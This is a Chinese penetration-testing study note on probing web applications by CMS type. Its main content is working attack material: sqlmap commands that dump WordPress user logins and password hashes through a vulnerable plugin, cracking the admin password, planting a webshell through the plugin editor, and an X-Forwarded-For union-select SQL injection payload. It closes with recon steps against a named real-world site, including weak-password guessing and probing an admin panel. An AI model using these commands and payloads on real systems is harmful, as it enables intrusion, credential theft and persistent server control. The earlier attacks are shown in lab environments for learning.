漏洞发现-web应用之漏洞探针利用修复

漏洞发现-web应用之漏洞探针利用修复

b67dd2120ab2d92198d2c1ac91877181

原理分析

  1. 已知 CMS
  • 如常见的 dedecms.discuz,wordpress 等源码结构,这种一般采用非框架类开发,但也有少部分采用的是框架类开发,针对此类源码程序的安全检测,我们要利用公开的漏洞进行测试,如不存在可采用白盒代码审计自行挖掘。(1.在漏洞平台如seebug、cnvd搜索关键字2.使用工具框架如cmsscan、wpscan3.代码审计(函数,功能,框架三个方面))
  1. 开发框架
  • 如常见的 thinkphp,spring,flask 等开发的源码程序,这种源码程序正常的安全测试思路:先获取对应的开发框架信息(名字,版本),通过公开的框架类安全问题进行测试,如不存在可采用白盒代码审计自行挖掘。
  1. 未知 CMS
  • 如常见的企业或个人内部程序源码,也可以是某 CMS 二次开发的源码结构,针对此类的源码程序测试思路:能识别二次开发就按已知 CMS 思路进行,不能确定二次开发的话可以采用常规综合类扫描工具或脚本进行探针,也可以采用人工探针(功能点,参数,盲猜),同样在有源码的情况下也可以进行代码审计自行挖掘。

已知CMS

如果是已知CMS的情况,可以先从上一讲说过的一些方式,漏洞平台等之类的直接查找对应的漏洞,网上还有一些针对某一个cms的工具,这个不是每一个cms都有,看情况来的,最后就是代码审计,就是自己从代码中进行分析

CMSScan扫描工具介绍

博客链接:

1
https://www.freebuf.com/sectool/190361.html

工具下载链接:

1
https://github.com/ajinabraham/CMSScan

未知CMS

如果是这种情况的话,还是用工具去扫描,上面是已知CMS然后是针对性的去找漏洞,这种是不知道所以就直接用工具扫描,如果可以扫出cms的类型,这样就可以用已知CMS的方法来进行下一步测试

除了工具直接扫描之外,人工的方式就是从网站本身的应用方向下手,比如之前说过的如果是一个购物网站在处理订单的时候可能就会有逻辑漏洞等等之类的,或者是从URL中,这个就像是文件包含,文件下载那个章说过的,网站的URL的传参值,考虑是否可控等一些问题,最后就是盲猜了,也就是全部都测试一遍,当然过程很慢

本地CMS演示

Snipaste_2022-05-29_12-04-36

使用thinkphp框架报错后的回显页面

Snipaste_2022-05-29_12-07-26

Snipaste_2022-05-29_12-08-15

接下来就可以用上面说过,直接用对应的工具,找一个专门针对thinkphp的工具,对这个网站进行扫描,攻击之类的操作

工具:

1
ThinkPHP 检测工具:https://github.com/Lucifer1993/TPscan

Snipaste_2022-05-29_15-23-58

进入搭建好的靶场环境,然后安装官方WP,直接进行抓包

Snipaste_2022-05-29_15-26-32

Snipaste_2022-05-29_15-32-53

Snipaste_2022-05-29_15-33-23

Snipaste_2022-05-29_15-32-49

完成!!!

WordPress插件漏洞分析溯源

先用在线CMS查看这个类型

Snipaste_2022-05-29_15-37-48

进入kali,这里我用2021报错,然后我选择了用2019的版本,就没有问题了

使用代码,直接在终端输入

1
wpscan --url http://124.70.71.251:45287/

问题

wpscan新版本有一个问题,就是:wpscan.org(官网获取tooken)

地址:https://wpvulndb.com/users/sign_up

Snipaste_2022-05-29_16-27-47

注册一下,然后会有确认邮箱

Snipaste_2022-05-29_16-30-15

复制

Snipaste_2022-05-29_16-30-55

然后在使用的时候,只需要在后面加上这个参数,然后这个参数加上你刚刚复制的token

心累了,还是用不了,搞了一个下午,放弃了,扫描报403,更新报证书过期

Snipaste_2022-05-29_16-41-23

Snipaste_2022-05-29_16-41-29

这种红色的表示有漏洞

然后直接用sqlmap进行扫描:

1
2
3
sqlmap -u http://124.70.71.251:45287/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&path=a

有可能这个-u后面的值要加上一个双引号,如果报错,可以加上试试
1
python sqlmap.py http://124.70.71.251:45287/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&path=a  

这个是SQLmap在windows平台使用的命令

Snipaste_2022-05-29_17-27-49

语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sqlmap -u http://124.70.71.251:45287/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&path=a

查数据库
sqlmap -u http://124.70.71.251:45287/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&path=a --dbs

查表
sqlmap -u http://124.70.71.251:45287/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&path=a -D "test" --tables

爆字段
sqlmap -u http://124.70.71.251:45287/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&path=a -D "test" -T "wp_users" --columns


获取账号密码
sqlmap -u http://124.70.71.251:45287/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&path=a -D "test" -T "wp_users" -C "user_login,user_pass" --dump

Snipaste_2022-05-29_17-43-28

Snipaste_2022-05-29_17-45-09

查数据库

Snipaste_2022-05-29_17-45-58

查表

Snipaste_2022-05-29_17-46-37

爆字段

Snipaste_2022-05-29_17-47-08

获取账号密码

密码MD5解密为12qwaszx

登陆wordpress

登陆:admin/12qwaszx

Snipaste_2022-05-29_16-49-23

用菜刀连接

1
2
http://124.70.71.251:45287/wp-admin/plugin-editor.php?file=comment-rating/comment-rating.php&a=te&scrollto=1901
密码:attack

Snipaste_2022-05-29_16-48-01

Snipaste_2022-05-29_16-48-06

提交

代码审计工具

载入源码

Snipaste_2022-05-29_17-36-05

Snipaste_2022-05-29_17-36-56

Snipaste_2022-05-29_17-37-02

Snipaste_2022-05-29_17-40-41

点击—>更新

刷新网页,点击更新,会发现多了很多,里面的SELECT * FROM dd WHERE ip LIKE ‘127.0.0.1’十分的可疑(这里不是普通的查表)

Snipaste_2022-05-29_17-52-21

这个就相当于我们访问首页返回的语句,那么我们就需要查找一下这个语句是怎么来的

Snipaste_2022-05-29_18-01-18

查找关键字,看是否有一个SQL语句

Snipaste_2022-05-29_18-02-16

发现这里并没有SQL语句,这里这个是前端的表单语言,所以不算是SQL语句

上面可以看到,还有这个”IP”是关键字,所以这里在搜索一下IP

Snipaste_2022-05-29_18-04-19

为什么都没有?那么只有一种可能,那么就是包含了文件,或者说如果还是不清楚,可以用一下全局搜索

Snipaste_2022-05-29_18-05-50

Snipaste_2022-05-29_18-06-59

发现这里有这个SQL语句,文件路径是:php下面的function.php

Snipaste_2022-05-29_18-08-22

查看刚刚说过的首页文件,index.php,查询是不是包含了function.php,结果果然是包含了,既然包含了这个文件,就意味着会执行这个文件,那么就确定我们找的这个文件思路是对的

Snipaste_2022-05-29_18-11-32

进入被包含的代码

Snipaste_2022-05-29_18-12-08

发现有一个函数:ywdd

然后去首页文件查看是否也有这个函数

Snipaste_2022-05-29_18-12-27

发现确实有引用这个函数

由于首页文件ywdd后面是一个getIP,所以要在全局搜索一下为什么得到的是127.0.0.1

Snipaste_2022-05-29_18-15-11

其他全部都是调用,只有这个function是创建了这个函数

Snipaste_2022-05-29_18-16-46

-查看getip()函数(发现这里是从数据包的首部传参的),这里就可以构造HTTP_X_FORWARDED_FOR的值来进行SQL注入

1
2
3
4
5
6
7
8
9
10
11
1.REMOTE_ADDR:浏览当前页面的用户计算机的ip地址 
2.HTTP_X_FORWARDED_FOR: 浏览当前页面的用户计算机的网关 
3.HTTP_CLIENT_IP:客户端的ip 

在PHP 中使用 $_SERVER["REMOTE_ADDR"] 来取得客户端的 IP 地址。 

但如果客户端是使用代理服务器来访问,那取到的就是代理服务器的 IP 地址,而不是真正的客户端 IP 地址。要想透过代理服务器取得客户端的真实 IP 地址,就要使用 $_SERVER["HTTP_X_FORWARDED_FOR"] 来读取。 

不过要注意,并不是每个代理服务器都能用 $_SERVER["HTTP_X_FORWARDED_FOR"] 来读取客户端的真实 IP,有些用此方法读取到的仍然是代理服务器的 IP。 

还有一点需要注意的是:如果客户端没有通过代理服务器来访问,那么用$_SERVER["HTTP_X_FORWARDED_FOR"] 取到的值将是空的。 

综上所述,可以知道传进去的IP值是可以伪造的,既然可控就有可能有SQL注入

Snipaste_2022-05-29_18-22-07

这里我没有:X-Forwarded-For:8.8.8.8,所以我手动添加

Snipaste_2022-05-29_18-22-37

Snipaste_2022-05-29_18-32-41

这里可以看到我将这里改成了8.8.8.8,然后传参对应的变成了,我输入的值

然后去数据库中查询,这个对应的数据,也就是dd

Snipaste_2022-05-29_18-35-09

可以看到有5个字段,所以就可以直接union select 1,2,3,4,5这样就可以了,如果是在实战环境,还是需要一个一个测试(这里都代码审计了,应该是可以直接取数据库中查的)

语句:

1
X-Forwarded-For:8.8.8.8'union select 1,2,3,4,5#

Snipaste_2022-05-29_18-38-21

1
2
3
4
5
6
7
8
9
10
GET /qqyw/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=ehtmjfd6035mgkkpfd4dvmsn06
X-Forwarded-For:8.8.8.8'union select 1,database(),version(),user(),5#
Connection: close

Snipaste_2022-05-29_18-41-23

成功!!!

未知 CMS 非框架类渗透测试报告-人工-你我都爱的 wg 哦~

链接:www.668jq.com

访问这个链接,会自动跳转到一个hs网站,怎么说呢。。。

然后我就用在线指纹识别了一下

Snipaste_2022-05-29_18-48-31

已经是改了

Snipaste_2022-05-29_18-49-24

Snipaste_2022-05-29_18-56-13

emm,直接识别,是可以识别到,但是我访问的话,会直接跳转

Snipaste_2022-05-29_19-03-59

—进入CMS的特殊路径(果然是换了,不是dedecms)

—如果存在,可以访问特殊的路径,看有没有弱口令

—扫描端口(888和8888端口可能会存在宝塔的漏洞)登录:ip:888/pma

—直接访问ip获得备份文件

涉及资源

1
2
3
4
5
6
https://vulhub.org/
https://wpvulndb.com/users/sign_up
https://github.com/wpscanteam/wpscan
https://github.com/ajinabraham/CMSScan
https://pan.baidu.com/s/1KCa-5gU8R8jPXYY19vyvZA 提取码:xiao
https://www.mozhe.cn/bug/detail/S0JTL0F4RE1sY2hGdHdwcUJ6aUFCQT09bW96aGUmozhe